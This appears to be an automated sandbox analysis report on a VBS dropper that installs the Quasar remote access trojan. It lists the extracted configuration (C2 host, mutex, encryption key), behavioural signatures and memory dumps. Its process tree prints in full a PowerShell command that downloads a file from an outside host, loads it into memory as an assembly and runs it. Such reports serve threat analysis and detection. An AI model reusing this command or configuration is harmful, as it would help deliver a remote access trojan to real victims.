Analysis
- max time kernel
102s - max time network
147s - platform
windows10_x64 - resource
win10-en-20211104 - submitted
16/11/2021, 19:10
General
- Target 215542554.vbs
- Size 1KB
- Sample211116-xvdjrsfba3
- SHA256 c76303ad32caa1dc46b93eadd1de1342a67001559c2be9ab42e50b4615c71baa
Malware Config
Extracted
-
quasar
-
1.3.0.0
-
0
-
cordonhomeservices.com:4782
-
MUTEX_Kxdxq5KDAnHKb48Ij9
-
encryption_key
1r4lG2szS4DKwhJ0yLUU
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Signatures
- Quasar Payload 3 IoCs
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Blocklisted process makes network request 1 IoCs
- Downloads MZ/PE file
- Drops startup file 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\215542554.vbs"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr -OutFile 'C:\Users\Public\Documents\TEZX.html' -Uri 'http://cordonhome-com.stackstaging.com/TEZX.html' ;$b = [System.IO.File]::ReadAllBytes('C:\Users\Public\Documents\TEZX.html');[System.Reflection.Assembly]::Load($b);[TEZX.CDSD]::Exe();2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1820-136-0x000001B246543000-0x000001B246545000-memory.dmp
memory/1820-137-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-119-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-121-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-122-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-123-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-124-0x000001B2486C0000-0x000001B2486C1000-memory.dmp
memory/1820-125-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-126-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-127-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-128-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-129-0x000001B248870000-0x000001B248871000-memory.dmp
memory/1820-130-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-134-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-120-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-140-0x000001B246546000-0x000001B246548000-memory.dmp
memory/1820-139-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-135-0x000001B246540000-0x000001B246542000-memory.dmp
memory/1820-141-0x000001B248A20000-0x000001B248A7A000-memory.dmp
memory/1820-142-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/1820-146-0x000001B22DFB0000-0x000001B22DFB2000-memory.dmp
memory/4488-144-0x0000000000400000-0x000000000045E000-memory.dmp
memory/4488-149-0x0000000005460000-0x0000000005461000-memory.dmp
memory/4488-150-0x0000000005000000-0x0000000005001000-memory.dmp
memory/4488-151-0x0000000004F60000-0x000000000545E000-memory.dmp
memory/4488-152-0x00000000051B0000-0x00000000051B1000-memory.dmp
memory/4488-153-0x0000000005CE0000-0x0000000005CE1000-memory.dmp
memory/4488-154-0x0000000005FE0000-0x0000000005FE1000-memory.dmp
memory/4488-155-0x0000000006350000-0x0000000006351000-memory.dmp